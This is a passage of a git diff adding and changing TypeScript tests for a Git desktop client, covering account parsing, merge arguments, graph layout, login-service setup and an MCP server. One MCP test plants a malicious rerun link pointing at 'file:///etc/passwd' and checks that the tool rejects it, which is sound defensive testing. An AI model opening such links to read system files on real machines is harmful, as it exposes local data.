['--version']))('ToolLocator: pre-scan state', () => { /** - * `current()` answers synchronously from whatever the last scan found, so - * before `ensureLocated()` resolves it reports every tool as missing. Any - * caller that surfaces this state to the user (the `app.tools` IPC handler, - * which the renderer uses to decide whether to show the "GitGood needs Git - * to run" setup screen) has to await the scan first. + * `current()` answers synchronously from whatever the last probe found, so before `ensure('git')` + * resolves git is still `pending`. Any caller that surfaces this state to the user (the `app.tools` + * IPC handler, which the renderer uses to decide whether to show the "GitGood needs Git to run" + * setup screen) has to await the git probe first. */ - it('reports git as missing until the scan has run, and installed afterwards', async () => { + it('reports git as pending until its probe has run, and installed afterwards', async () => { const locator = new ToolLocator(fakeStore()); - expect(locator.current().git.installed).toBe(false); - await locator.ensureLocated(); + expect(locator.current().git).toMatchObject({ installed: false, pending: true }); + await locator.ensure('git'); expect(locator.current().git.installed).toBe(true); + expect(locator.current().git.pending).toBeUndefined(); + }); +}); + +describe('flagOutdated', () => { + const info = (version: string | null, installed = true) => ({ installed, version, path: '/usr/bin/x', error: null }); + + it('flags a version below the minimum, comparing numerically (2.9 < 2.30)', () => { + expect(flagOutdated(info('2.29.9'), '2.30.0')).toMatchObject({ outdated: true, minVersion: '2.30.0' }); + expect(flagOutdated(info('2.9.5'), '2.30.0').outdated).toBe(true); + }); + + it('accepts the minimum itself, newer versions, and vendor-suffixed git versions', () => { + expect(flagOutdated(info('2.30.0'), '2.30.0').outdated).toBeUndefined(); + expect(flagOutdated(info('2.100.0'), '2.30.0').outdated).toBeUndefined(); + expect(flagOutdated(info('2.45.1.windows.1'), '2.30.0').outdated).toBeUndefined(); + expect(flagOutdated(info('2.39.3'), '2.30.0').outdated).toBeUndefined(); + }); + + it('does not flag a tool that is missing or has an unparseable version', () => { + expect(flagOutdated(info(null), '2.30.0').outdated).toBeUndefined(); + expect(flagOutdated(info('1.0.0', false), '2.30.0').outdated).toBeUndefined(); }); }); diff --git a/test/fixture/updater.test.ts b/test/fixture/updater.test.ts index 4cbaf63..8ba19ce 100644 --- a/test/fixture/updater.test.ts +++ b/test/fixture/updater.test.ts @@ -94,7 +94,7 @@ async function withUpdaterProvider

( const updater = new Updater(store, provider, (s) => changes.push(s), { getVersion: () => '1.0.0', manualUrl: 'https://github.com/erwin-wee/gitgood/releases', - disabledEnv: { isPackaged: true, platform: 'linux', portableExecutableDir: undefined, appImagePath: undefined, appImageWritable: false, ...disabledEnvOverrides }, + disabledEnv: { isPackaged: true, platform: 'linux', portableExecutableDir: undefined, appImagePath: '/home/user/GitGood.AppImage', appImageWritable: true, ...disabledEnvOverrides }, isPerMachineInstall, now: clock.now, setTimer: clock.setTimer, diff --git a/test/gh-accounts.test.ts b/test/gh-accounts.test.ts new file mode 100644 index 0000000..37e3d2c --- /dev/null +++ b/test/gh-accounts.test.ts @@ -0,0 +1,99 @@ +import { describe, expect, it } from 'vitest'; +import { ghAccountEnv, gitAccountEnv, isNetworkGitCommand, parseGhAuthStatus, primaryAccount } from '../src/main/gh/accounts'; + +const ONE_ACCOUNT_TEXT = `github.com + ✓ Logged in to github.com account octocat (keyring) + - Active account: true + - Git operations protocol: https + - Token: gho_************************************ + - Token scopes: 'gist', 'read:org', 'repo', 'workflow' +`; + +const TWO_ACCOUNTS_TEXT = `github.com + ✓ Logged in to github.com account octocat (keyring) + - Active account: false + - Git operations protocol: https + - Token: gho_************************************ + - Token scopes: 'gist', 'read:org', 'repo' + + ✓ Logged in to github.com account work-bot (keyring) + - Active account: true + - Git operations protocol: ssh + - Token: gho_************************************ + - Token scopes: 'repo' +`; + +const TWO_ACCOUNTS_JSON = JSON.stringify({ + hosts: { + 'github.com': [ + { state: 'success', active: true, host: 'github.com', login: 'octocat', tokenSource: 'keyring', scopes: 'gist, read:org, repo', gitProtocol: 'https' }, + { state: 'success', active: false, host: 'github.com', login: 'work-bot', tokenSource: 'keyring', scopes: 'repo', gitProtocol: 'ssh' }, + { state: 'error', active: false, host: 'github.com', login: 'stale', tokenSource: 'keyring', scopes: '', gitProtocol: 'https' }, + ], + }, +}); + +describe('parseGhAuthStatus', () => { + it('reads one account from the human-readable output', () => { + expect(parseGhAuthStatus(ONE_ACCOUNT_TEXT)).toEqual([{ host: 'github.com', login: 'octocat', active: true, scopes: ['gist', 'read:org', 'repo', 'workflow'], protocol: 'https' }]); + }); + + it('reads two accounts on one host and which one is active', () => { + const accounts = parseGhAuthStatus(TWO_ACCOUNTS_TEXT); + expect(accounts.map((a) => [a.login, a.active, a.protocol])).toEqual([ + ['octocat', false, 'https'], + ['work-bot', true, 'ssh'], + ]); + expect(primaryAccount(accounts)?.login).toBe('work-bot'); + }); + + it('reads the JSON form, skipping accounts whose token no longer works', () => { + const accounts = parseGhAuthStatus(TWO_ACCOUNTS_JSON); + expect(accounts.map((a) => [a.login, a.active, a.scopes])).toEqual([ + ['octocat', true, ['gist', 'read:org', 'repo']], + ['work-bot', false, ['repo']], + ]); + }); + + it('accepts pre-multi-account gh output and marks a lone account active', () => { + expect(parseGhAuthStatus('github.com\n ✓ Logged in to github.com as octocat (keyring)\n ✓ Git operations for github.com configured to use https protocol.\n')).toEqual([ + { host: 'github.com', login: 'octocat', active: true, scopes: [], protocol: null }, + ]); + }); + + it('ignores failed logins and returns nothing when signed out', () => { + const failed = 'github.com\n X Failed to log in to github.com account octocat (keyring)\n - Active account: true\n - The token in keyring is invalid.\n'; + expect(parseGhAuthStatus(failed)).toEqual([]); + expect(parseGhAuthStatus('You are not logged into any GitHub hosts. To log in, run: gh auth login')).toEqual([]); + }); + + it('keeps each host\u2019s own active account and prefers github.com as primary', () => { + const out = `ghe.example.com\n ✓ Logged in to ghe.example.com account corp (keyring)\n - Active account: true\ngithub.com\n ✓ Logged in to github.com account octocat (keyring)\n - Active account: true\n`; + const accounts = parseGhAuthStatus(out); + expect(accounts.filter((a) => a.active)).toHaveLength(2); + expect(primaryAccount(accounts)?.host).toBe('github.com'); + }); +}); + +describe('account environment', () => { + it('uses GH_TOKEN for github.com and GH_ENTERPRISE_TOKEN for other hosts', () => { + expect(ghAccountEnv('github.com', 't')).toEqual({ GH_TOKEN: 't' }); + expect(ghAccountEnv('ghe.example.com', 't')).toEqual({ GH_ENTERPRISE_TOKEN: 't' }); + }); + + it('appends its credential helper after GIT_CONFIG pairs already in the environment', () => { + const env = gitAccountEnv('github.com', 'tok', { GIT_CONFIG_COUNT: '1', GIT_CONFIG_KEY_0: 'a.b', GIT_CONFIG_VALUE_0: 'c' }); + expect(env.GIT_CONFIG_COUNT).toBe('3'); + expect(env.GIT_CONFIG_KEY_0).toBeUndefined(); + expect(env.GIT_CONFIG_KEY_1).toBe('credential.https://github.com.helper'); + expect(env.GIT_CONFIG_VALUE_1).toBe(''); + expect(env.GIT_CONFIG_KEY_2).toBe('credential.https://github.com.helper'); + expect(env.GIT_CONFIG_VALUE_2).toContain('GITGOOD_ACCOUNT_TOKEN'); + expect(env.GITGOOD_ACCOUNT_TOKEN).toBe('tok'); + }); + + it('treats only remote-talking git subcommands as network commands', () => { + for (const cmd of ['fetch', 'pull', 'push', 'clone', 'ls-remote', 'submodule', 'lfs']) expect(isNetworkGitCommand([cmd])).toBe(true); + for (const cmd of ['status', 'log', 'commit', 'remote']) expect(isNetworkGitCommand([cmd])).toBe(false); + }); +}); diff --git a/test/gh-pr-merge.test.ts b/test/gh-pr-merge.test.ts new file mode 100644 index 0000000..62631fc --- /dev/null +++ b/test/gh-pr-merge.test.ts @@ -0,0 +1,26 @@ +import { describe, expect, it } from 'vitest'; +import { prMergeArgs, toPullRequest } from '../src/main/gh/gh'; + +describe('prMergeArgs', () => { + it('merges immediately by default', () => { + expect(prMergeArgs('o/r', 7, { method: 'squash', deleteBranch: false, auto: false })).toEqual(['pr', 'merge', '7', '--repo', 'o/r', '--squash']); + }); + + it('enables auto-merge with the chosen method and branch deletion', () => { + expect(prMergeArgs('o/r', 7, { method: 'rebase', deleteBranch: true, auto: true })).toEqual(['pr', 'merge', '7', '--repo', 'o/r', '--rebase', '--auto', '--delete-branch']); + }); + + it('disables auto-merge without a method', () => { + expect(prMergeArgs('o/r', 7, 'disable-auto')).toEqual(['pr', 'merge', '7', '--repo', 'o/r', '--disable-auto']); + }); +}); + +describe('toPullRequest autoMerge', () => { + const raw = { number: 1, title: 't', url: 'u', headRefName: 'h', baseRefName: 'b', state: 'OPEN' as const, createdAt: '', updatedAt: '' }; + + it('maps gh autoMergeRequest and degrades to null when absent', () => { + expect(toPullRequest(raw).autoMerge).toBeNull(); + expect(toPullRequest({ ...raw, autoMergeRequest: { mergeMethod: 'SQUASH', enabledBy: { login: 'octo' } } }).autoMerge).toEqual({ method: 'squash', enabledBy: 'octo' }); + expect(toPullRequest({ ...raw, autoMergeRequest: { mergeMethod: 'WEIRD' } }).autoMerge).toEqual({ method: null, enabledBy: null }); + }); +}); diff --git a/test/graph.test.ts b/test/graph.test.ts new file mode 100644 index 0000000..7e1d1db --- /dev/null +++ b/test/graph.test.ts @@ -0,0 +1,90 @@ +import { describe, expect, it } from 'vitest'; +import { extendGraph, type Graph } from '../src/shared/graph'; + +const c = (sha: string, ...parents: string[]) => ({ sha, parents }); +const seg = (g: Graph, i: number) => g.rows[i].segments.map((s) => `${s.kind}:${s.from}>${s.to}`); + +describe('commit graph lanes', () => { + it('keeps a linear history in lane 0 with a single colour', () => { + const g = extendGraph(null, [c('c', 'b'), c('b', 'a'), c('a')]); + expect(g.rows.map((r) => r.column)).toEqual([0, 0, 0]); + expect(new Set(g.rows.map((r) => r.color)).size).toBe(1); + expect(g.width).toBe(1); + expect(seg(g, 0)).toEqual(['down:0>0']); + expect(seg(g, 1)).toEqual(['up:0>0', 'down:0>0']); + expect(seg(g, 2)).toEqual(['up:0>0']); // root: line ends at the node + }); + + it('opens a lane for the merged branch, passes it through, and closes it at the fork point', () => { + // m merges feature tip f2 into main; both descend from base b. + const g = extendGraph(null, [c('m', 'p', 'f2'), c('p', 'b'), c('f2', 'f1'), c('f1', 'b'), c('b')]); + expect(g.rows.map((r) => r.column)).toEqual([0, 0, 1, 1, 0]); + expect(seg(g, 0)).toEqual(['down:0>0', 'down:0>1']); + expect(seg(g, 1)).toEqual(['up:0>0', 'through:1>1', 'down:0>0']); + expect(seg(g, 2)).toEqual(['through:0>0', 'up:1>1', 'down:1>1']); + // f1's first parent b is already expected in lane 0: the branch line bends into it. + expect(seg(g, 3)).toEqual(['through:0>0', 'up:1>1', 'down:1>0']); + expect(seg(g, 4)).toEqual(['up:0>0']); + expect(g.rows[2].color).not.toBe(g.rows[0].color); + expect(g.width).toBe(2); + }); + + it('gives every extra parent of an octopus merge its own lane', () => { + const g = extendGraph(null, [c('o', 'a', 'b', 'd'), c('a'), c('b'), c('d')]); + expect(seg(g, 0)).toEqual(['down:0>0', 'down:0>1', 'down:0>2']); + expect(g.rows.map((r) => r.column)).toEqual([0, 0, 1, 2]); + expect(new Set(g.rows[0].segments.map((s) => s.color)).size).toBe(3); + expect(g.width).toBe(3); + // Each root closes its own lane; lanes it does not own pass through. + expect(seg(g, 2)).toEqual(['up:1>1', 'through:2>2']); + }); + + it('draws two tips converging on a shared parent and reuses freed lanes', () => { + const g = extendGraph(null, [c('x', 'base'), c('y', 'base'), c('base'), c('z')]); + expect(g.rows.map((r) => r.column)).toEqual([0, 1, 0, 0]); + expect(seg(g, 1)).toEqual(['through:0>0', 'down:1>0']); + expect(seg(g, 2)).toEqual(['up:0>0']); // both lanes merged: nothing passes below + expect(g.width).toBe(2); + // z is a fresh tip after everything closed: it starts in the freed lane 0. + expect(seg(g, 3)).toEqual([]); + }); + + it('continues across pages exactly as a single pass would, without mutating the previous graph', () => { + const all = [c('m', 'p', 'f2'), c('p', 'b'), c('f2', 'f1'), c('f1', 'b'), c('b', 'a'), c('a')]; + const page1 = extendGraph(null, all.slice(0, 3)); + const frozen = JSON.stringify(page1); + const both = extendGraph(page1, all); + expect(JSON.stringify(page1)).toBe(frozen); + expect(both.rows).toEqual(extendGraph(null, all).rows); + // The first page's rows are reused, not recomputed. + expect(both.rows[0]).toBe(page1.rows[0]); + // Nothing new: same object back. + expect(extendGraph(both, all)).toBe(both); + }); + + it('leaves dangling lanes open at a page boundary and picks them up on the next page', () => { + const page1 = extendGraph(null, [c('m', 'p', 'f2'), c('p', 'b')]); + expect(page1.state.ids).toEqual(['b', 'f2']); + const page2 = extendGraph(page1, [c('m', 'p', 'f2'), c('p', 'b'), c('f2', 'f1')]); + expect(seg(page2, 2)).toEqual(['through:0>0', 'up:1>1', 'down:1>1']); + }); + + it('recomputes when the list no longer extends the previous one', () => { + const before = extendGraph(null, [c('b', 'a'), c('a')]); + const after = extendGraph(before, [c('n', 'b'), c('b', 'a'), c('a')]); + expect(after.rows).toHaveLength(3); + expect(after.firstSha).toBe('n'); + expect(extendGraph(before, []).rows).toEqual([]); + }); + + it('stays linear-time on a long history with a long-lived side branch', () => { + const commits = []; + for (let i = 20000; i > 0; i--) commits.push(c(`m${i}`, `m${i - 1}`)); + commits.splice(100, 0, c('side', 'm5')); + commits[99] = c('m19901', 'm19900', 'side'); + const start = performance.now(); + const g = extendGraph(null, commits); + expect(performance.now() - start).toBeLessThan(1000); + expect(g.width).toBe(2); + }); +}); diff --git a/test/helpers/fake-tools.ts b/test/helpers/fake-tools.ts index a8df9cb..4aa6948 100644 --- a/test/helpers/fake-tools.ts +++ b/test/helpers/fake-tools.ts @@ -11,6 +11,8 @@ export interface FakeToolsOptions { /** Extra environment variables merged on top of process.env for env()/ghEnv(). */ env?: NodeJS.ProcessEnv; ghAccount?: GitHubAccount | null; + /** What `repoAccount()` resolves to (a repository with a chosen GitHub account); null = follows the active account. */ + repoAccount?: { host: string; token: string } | null; } /** @@ -30,6 +32,7 @@ export function createFakeTools(opts: FakeToolsOptions = {}): ToolLocator { gpg: { installed: !!opts.gpgPath, version: 'test', path: opts.gpgPath ?? null, error: opts.gpgPath ? null : 'gpg not configured in fake tools' }, sshKeygen: { installed: !!opts.sshKeygenPath, version: null, path: opts.sshKeygenPath ?? null, error: opts.sshKeygenPath ? null : 'ssh-keygen not configured in fake tools' }, ghAccount: opts.ghAccount ?? null, + ghAccounts: [], ghAuthError: null, credentialHelperConfigured: false, }; @@ -46,10 +49,19 @@ export function createFakeTools(opts: FakeToolsOptions = {}): ToolLocator { current(): ToolsState { return state; }, - async ensureLocated(): Promise {}, + async ensure(key: 'git' | 'gh' | 'claudeCli' | 'gitLfs' | 'gpg' | 'sshKeygen'): Promise { + return state[key]; + }, + async repoAccount(): Promise<{ host: string; token: string } | null> { + return opts.repoAccount ?? null; + }, async refresh(): Promise { return state; }, + async refreshAuth(): Promise { + return state; + }, + onChange(): void {}, gitPath(): string { if (!opts.gitPath) throw new Error('Git was not found (fake tools).'); return opts.gitPath; diff --git a/test/local-server.test.ts b/test/local-server.test.ts index 7a7cf80..fccbe71 100644 --- a/test/local-server.test.ts +++ b/test/local-server.test.ts @@ -1,5 +1,5 @@ import { describe, expect, it } from 'vitest'; -import { managedUnit } from '../src/main/local-server'; +import { managedPlist, managedRunCommand, managedUnit, parseRegQuery, serviceBackend } from '../src/main/local-server'; describe('managedUnit', () => { it('starts the bundled server in Node mode, immune to the AppImage adding --no-sandbox', () => { @@ -14,3 +14,80 @@ describe('managedUnit', () => { expect(unit).toContain('ExecStart="/home/me/Apps/GitGood 100%%.AppImage" -e '); }); }); + +describe('macOS LaunchAgent', () => { + it('runs the bundled server in Node mode at login, restarting after a failure', () => { + const plist = managedPlist('/Applications/GitGood.app/Contents/MacOS/GitGood'); + expect(plist).toContain('Managed by the GitGood desktop app; rewritten on launch.'); + expect(plist).toContain('Label\n com.gitgood.server'); + expect(plist).toContain('/Applications/GitGood.app/Contents/MacOS/GitGood\n -e'); + expect(plist).toMatch(/ELECTRON_RUN_AS_NODE<\/key>\s*1<\/string>/); + expect(plist).toMatch(/RunAtLoad<\/key>\s*/); + expect(plist).toMatch(/SuccessfulExit<\/key>\s*/); + }); + + it('escapes XML metacharacters in the executable path', () => { + expect(managedPlist('/Apps/Git&Good /GitGood')).toContain('/Apps/Git&Good <beta>/GitGood'); + }); + + it('installs with bootstrap/kickstart and reloads a changed plist', () => { + const svc = serviceBackend('darwin', { home: '/Users/me', uid: 501 })!; + expect(svc.file).toBe('/Users/me/Library/LaunchAgents/com.gitgood.server.plist'); + const argvs = (rewritten: boolean) => svc.restart(rewritten, '/x').map((s) => s.argv.join(' ')); + expect(svc.install('/x').map((s) => s.argv.join(' '))).toEqual([ + 'launchctl bootout gui/501/com.gitgood.server', + 'launchctl bootstrap gui/501 /Users/me/Library/LaunchAgents/com.gitgood.server.plist', + 'launchctl kickstart -k gui/501/com.gitgood.server', + ]); + expect(argvs(true)).toEqual(svc.install('/x').map((s) => s.argv.join(' '))); + // Unchanged plist: the agent is already loaded at login, so only kick it. + expect(argvs(false)).toEqual(['launchctl bootstrap gui/501 /Users/me/Library/LaunchAgents/com.gitgood.server.plist', 'launchctl kickstart -k gui/501/com.gitgood.server']); + expect(svc.install('/x')[0].optional).toBe(true); + }); +}); + +describe('Windows login item', () => { + const exe = "C:\\Users\\me\\AppData\\Local\\Programs\\Git'Good\\GitGood.exe"; + + it('runs the GUI exe with the server flag (no console, no elevation)', () => { + expect(managedRunCommand(exe)).toBe(`"${exe}" --gitgood-server`); + }); + + it('registers under HKCU Run, then replaces any running server with the new one', () => { + const svc = serviceBackend('win32', { home: 'C:\\Users\\me' })!; + expect(svc.file).toBeNull(); + const [register, stop, start] = svc.install(exe); + expect(register.argv).toEqual(['reg', 'add', 'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run', '/v', 'GitGoodServer', '/t', 'REG_SZ', '/d', `"${exe}" --gitgood-server`, '/f']); + // Only processes of this exe started with the flag are stopped; a server that is not running must not abort the restart. + expect(stop.argv.at(-1)).toContain("$_.Name -eq 'GitGood.exe'"); + expect(stop.argv.at(-1)).toContain("-like '*--gitgood-server*'"); + expect(stop.optional).toBe(true); + expect(start.argv.at(-1)).toBe("Start-Process -FilePath 'C:\\Users\\me\\AppData\\Local\\Programs\\Git''Good\\GitGood.exe' -ArgumentList '--gitgood-server'"); + }); + + it('rewrites the registry value only when the definition changed', () => { + const svc = serviceBackend('win32', { home: 'C:\\Users\\me' })!; + expect(svc.restart(true, exe).map((s) => s.argv[0])).toEqual(['reg', 'powershell.exe', 'powershell.exe']); + expect(svc.restart(false, exe).map((s) => s.argv[0])).toEqual(['powershell.exe', 'powershell.exe']); + }); + + it('reads the installed value back from reg query output', () => { + const out = `\r\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\r\n GitGoodServer REG_SZ "${exe}" --gitgood-server\r\n\r\n`; + expect(parseRegQuery(out)).toBe(`"${exe}" --gitgood-server`); + expect(parseRegQuery('ERROR: The system was unable to find the specified registry key or value.')).toBeNull(); + }); +}); + +describe('systemd lifecycle', () => { + it('keeps the existing Linux commands, honouring XDG_CONFIG_HOME', () => { + const svc = serviceBackend('linux', { home: '/home/me', xdgConfigHome: '/cfg' })!; + expect(svc.file).toBe('/cfg/systemd/user/gitgood-server.service'); + expect(svc.install('/x').map((s) => s.argv.join(' '))).toEqual(['systemctl --user daemon-reload', 'systemctl --user enable --now gitgood-server', 'systemctl --user restart gitgood-server']); + expect(svc.restart(true, '/x').map((s) => s.argv.at(-1))).toEqual(['daemon-reload', 'gitgood-server']); + expect(svc.restart(false, '/x').map((s) => s.argv.join(' '))).toEqual(['systemctl --user restart gitgood-server']); + }); + + it('has no backend on other platforms', () => { + expect(serviceBackend('freebsd', { home: '/home/me' })).toBeNull(); + }); +}); diff --git a/test/main-parsers.test.ts b/test/main-parsers.test.ts index 6f3597a..0921224 100644 --- a/test/main-parsers.test.ts +++ b/test/main-parsers.test.ts @@ -1,5 +1,5 @@ import { describe, expect, it } from 'vitest'; -import { parsePorcelainV2 } from '../src/main/git/status'; +import { parsePorcelainV2, parseStatusIndicator } from '../src/main/git/status'; import { historyQueryArgs, mapSignatureStatus, parseLog, parseNameStatusZ, parseNumstatZ, pathspecArgs } from '../src/main/git/log'; import { EMPTY_HISTORY_QUERY } from '../src/shared/types'; import { classifyGitError, TransferProgressParser } from '../src/main/git/git'; @@ -46,6 +46,22 @@ describe('porcelain v2 status parsing', () => { }); }); +describe('status indicator parsing', () => { + it('reads ahead/behind and a dirty tree from porcelain v2 output', () => { + const out = ['# branch.oid 671acd7', '# branch.head main', '# branch.upstream origin/main', '# branch.ab +2 -3', '? scratch.js'].join('\0') + '\0'; + expect(parseStatusIndicator(out)).toEqual({ ahead: 2, behind: 3, hasChanges: true }); + }); + + it('is clean when only headers are present, and 0/0 without an upstream', () => { + expect(parseStatusIndicator('# branch.oid abc\0# branch.head main\0')).toEqual({ ahead: 0, behind: 0, hasChanges: false }); + }); + + it('counts a rename pair and a conflict as changes', () => { + expect(parseStatusIndicator('# branch.ab +0 -0\x002 R. N... 100644 100644 100644 abc def R100 b.ts\0a.ts\0').hasChanges).toBe(true); + expect(parseStatusIndicator('# branch.ab +0 -0\0u UU N... 100644 100644 100644 100644 a b c app.ts\0').hasChanges).toBe(true); + }); +}); + describe('log parsing', () => { it('parses records with fields, refs and co-authors', () => { const F = '\x1f'; diff --git a/test/mcp-server.test.ts b/test/mcp-server.test.ts new file mode 100644 index 0000000..cb79016 --- /dev/null +++ b/test/mcp-server.test.ts @@ -0,0 +1,169 @@ +import { execFileSync } from 'node:child_process'; +import { mkdir, mkdtemp, realpath, writeFile } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; +import { describe, expect, it } from 'vitest'; +import type { ReviewRun } from '../src/shared/types'; +import { buildExportJson, serializeExport } from '../src/main/ai/review-export'; +import { handleMessage, PROTOCOL_VERSIONS, TOOLS, type McpDeps } from '../src/mcp/server'; +import { hasGitSync } from './helpers/repo'; + +function run(repoPath: string, kind: 'worktree' | 'branch' = 'worktree'): ReviewRun { + return { + id: 'run-1', repoPath, target: kind === 'worktree' ? { kind: 'worktree', paths: ['a.ts'], partialPaths: [], indexSha: '' } : { kind: 'branch', base: 'main', head: 'feat', baseSha: 'a'.repeat(40), headSha: 'b'.repeat(40) }, startedAt: '2026-09-18T10:00:00.000Z', finishedAt: '2026-09-18T10:00:01.000Z', model: 'm', provider: 'claude-cli', effort: 'high', strictness: 'strict', summary: 'Two things to fix', verdict: null, + findings: [ + { id: 'a', path: 'src/a.ts', line: 7, endLine: 9, severity: 'blocker', category: 'bug', title: 'Off by one', detail: 'Loop skips the last item.', suggestion: 'for (const x of xs) {}', confidence: 'high', dismissed: false }, + { id: 'b', path: 'src/a.ts', line: 2, endLine: null, severity: 'nit', category: 'style', title: 'Naming', detail: 'Rename it.', suggestion: null, confidence: 'low', dismissed: false }, + { id: 'd', path: 'src/b.ts', line: 4, endLine: null, severity: 'warning', category: 'docs', title: 'Dismissed', detail: 'x', suggestion: null, confidence: 'high', dismissed: true }, + ], + files: [], droppedInvalid: 0, error: null, cancelled: false, ownPullRequest: false, commitMessageMatches: null, commitMessageNote: '', + }; +} + +const rpc = (method: string, params?: unknown, id: number | string = 1) => ({ jsonrpc: '2.0', id, method, ...(params === undefined ? {} : { params }) }); + +interface Reply { + jsonrpc: string; + id: unknown; + result?: { protocolVersion?: string; tools?: { name: string; inputSchema: { required: string[] } }[]; content?: { text: string }[]; isError?: boolean; capabilities?: unknown }; + error?: { code: number; message: string }; +} +const call = async (msg: unknown, deps: McpDeps) => (await handleMessage(msg, deps)) as Reply; + +function recorder(overrides: Partial = {}): McpDeps & { urls: string[]; dirs: string[] } { + const urls: string[] = []; + const dirs: string[] = []; + return { urls, dirs, openUrl: async (u) => void urls.push(u), launchApp: async (d) => void dirs.push(d), ...overrides }; +} + +describe('MCP protocol', () => { + const deps = recorder(); + + it('answers initialize with the requested version when supported and the newest otherwise', async () => { + for (const v of PROTOCOL_VERSIONS) expect((await call(rpc('initialize', { protocolVersion: v }), deps)).result?.protocolVersion).toBe(v); + for (const params of [{ protocolVersion: '1999-01-01' }, {}, undefined]) expect((await call(rpc('initialize', params), deps)).result?.protocolVersion).toBe(PROTOCOL_VERSIONS[0]); + const res = await call(rpc('initialize', { protocolVersion: '2025-06-18' }, 'abc'), deps); + expect(res).toMatchObject({ jsonrpc: '2.0', id: 'abc', result: { capabilities: { tools: {} }, serverInfo: { name: 'gitgood' } } }); + }); + + it('sends nothing for notifications, including notifications/initialized', async () => { + expect(await handleMessage({ jsonrpc: '2.0', method: 'notifications/initialized' }, deps)).toBeNull(); + expect(await handleMessage({ jsonrpc: '2.0', method: 'whatever/unknown' }, deps)).toBeNull(); + }); + + it('answers ping and lists the three tools with required-argument schemas', async () => { + expect((await call(rpc('ping'), deps)).result).toEqual({}); + const tools = (await call(rpc('tools/list'), deps)).result!.tools!; + expect(tools.map((t) => t.name)).toEqual(['gitgood_latest_review', 'gitgood_request_rereview', 'gitgood_open_repository']); + expect(tools.map((t) => t.inputSchema.required)).toEqual([['repoPath'], ['repoPath'], ['path']]); + expect(tools).toEqual(TOOLS); + }); + + it('reports protocol errors with JSON-RPC codes', async () => { + expect((await call(rpc('nope'), deps)).error?.code).toBe(-32601); + expect((await call(rpc('tools/call', { name: 'nope' }), deps)).error?.code).toBe(-32602); + expect((await call('garbage', deps)).error?.code).toBe(-32600); + expect((await call({ jsonrpc: '1.0', id: 1, method: 'ping' }, deps)).error?.code).toBe(-32600); + expect((await call([rpc('ping')], deps)).error?.code).toBe(-32600); + }); +}); + +describe.skipIf(!hasGitSync())('MCP tools against a repository', () => { + async function repoWithExport(opts: { kind?: 'worktree' | 'branch'; raw?: string } = {}) { + const root = await realpath(await mkdtemp(join(tmpdir(), 'gg-mcp-'))); + execFileSync('git', ['init', '-q', '-b', 'main', root]); + execFileSync('git', ['-c', 'user.name=t', '-c', 'user.email=t@e', 'commit', '-q', '--allow-empty', '-m', 'init'], { cwd: root }); + const dir = join(root, '.git', 'gitgood', 'review'); + await mkdir(dir, { recursive: true }); + await writeFile(join(dir, 'latest.json'), opts.raw ?? serializeExport(buildExportJson(run(root, opts.kind), null, 'linux', 'tok 1&2')), 'utf8'); + return root; + } + const tool = (name: string, args: unknown, deps: McpDeps) => call(rpc('tools/call', { name, arguments: args }), deps); + const text = (r: Reply) => r.result!.content![0].text; + + it('latest_review returns open findings with file, line, severity, message, suggestion and the rerun link', async () => { + const root = await repoWithExport(); + const r = await tool('gitgood_latest_review', { repoPath: root }, recorder()); + expect(r.result?.isError).toBeUndefined(); + const out = JSON.parse(text(r)); + expect(out).toMatchObject({ runId: 'run-1', summary: 'Two things to fix', dismissedCount: 1 }); + expect(out.findings).toEqual([ + { file: 'src/a.ts', line: 7, endLine: 9, severity: 'blocker', category: 'bug', title: 'Off by one', message: 'Loop skips the last item.', suggestion: 'for (const x of xs) {}', confidence: 'high' }, + { file: 'src/a.ts', line: 2, endLine: null, severity: 'nit', category: 'style', title: 'Naming', message: 'Rename it.', suggestion: null, confidence: 'low' }, + ]); + expect(out.rerun.url).toBe(`gitgood://review/rerun?repo=${encodeURIComponent(root)}&token=${encodeURIComponent('tok 1&2')}`); + }); + + it('finds the export from a subfolder and uses the linked worktree\'s own git directory', async () => { + const root = await repoWithExport(); + await mkdir(join(root, 'sub')); + expect(JSON.parse(text(await tool('gitgood_latest_review', { repoPath: join(root, 'sub') }, recorder()))).runId).toBe('run-1'); + + const wt = join(root, '..', `${root.split(/[\\/]/).pop()}-wt`); + execFileSync('git', ['worktree', 'add', '-q', '-b', 'other', wt], { cwd: root }); + const miss = await tool('gitgood_latest_review', { repoPath: wt }, recorder()); + expect(miss.result?.isError).toBe(true); + expect(text(miss)).toContain('No GitGood review export'); + expect(text(miss)).toMatch(/worktrees[\\/]/); + }); + + it('request_rereview opens exactly the tokenised link from the export', async () => { + const root = await repoWithExport(); + const deps = recorder(); + const r = await tool('gitgood_request_rereview', { repoPath: root }, deps); + expect(r.result?.isError).toBeUndefined(); + expect(deps.urls).toEqual([`gitgood://review/rerun?repo=${encodeURIComponent(root)}&token=${encodeURIComponent('tok 1&2')}`]); + }); + + it('request_rereview fails clearly without a link, with a foreign link, or when the opener fails', async () => { + const deps = recorder(); + const branch = await tool('gitgood_request_rereview', { repoPath: await repoWithExport({ kind: 'branch' }) }, deps); + expect(branch.result?.isError).toBe(true); + expect(text(branch)).toContain('no re-review link'); + + const evil = JSON.stringify({ findings: [], runId: 'r', rerun: { url: 'file:///etc/passwd', command: '' } }); + const foreign = await tool('gitgood_request_rereview', { repoPath: await repoWithExport({ raw: evil }) }, deps); + expect(foreign.result?.isError).toBe(true); + expect(deps.urls).toEqual([]); + + const failing = recorder({ openUrl: async () => { throw new Error('no handler'); } }); + const r = await tool('gitgood_request_rereview', { repoPath: await repoWithExport() }, failing); + expect(r.result?.isError).toBe(true); + expect(text(r)).toContain('no handler'); + }); + + it('reports missing, corrupt and non-repository inputs as tool errors', async () => { + const deps = recorder(); + const noExport = await realpath(await mkdtemp(join(tmpdir(), 'gg-mcp-'))); + execFileSync('git', ['init', '-q', noExport]); + const cases: [string, unknown, RegExp][] = [ + ['gitgood_latest_review', { repoPath: noExport }, /No GitGood review export/], + ['gitgood_latest_review', { repoPath: await repoWithExport({ raw: '{nope' }) }, /not a valid GitGood review export/], + ['gitgood_latest_review', { repoPath: await mkdtemp(join(tmpdir(), 'gg-mcp-plain-')) }, /not inside a git repository/], + ['gitgood_latest_review', { repoPath: join(noExport, 'missing') }, /not a directory/], + ['gitgood_latest_review', {}, /"repoPath" must be a non-empty string/], + ['gitgood_open_repository', { path: 42 }, /"path" must be a non-empty string/], + ]; + for (const [name, args, re] of cases) { + const r = await tool(name, args, deps); + expect(r.error).toBeUndefined(); + 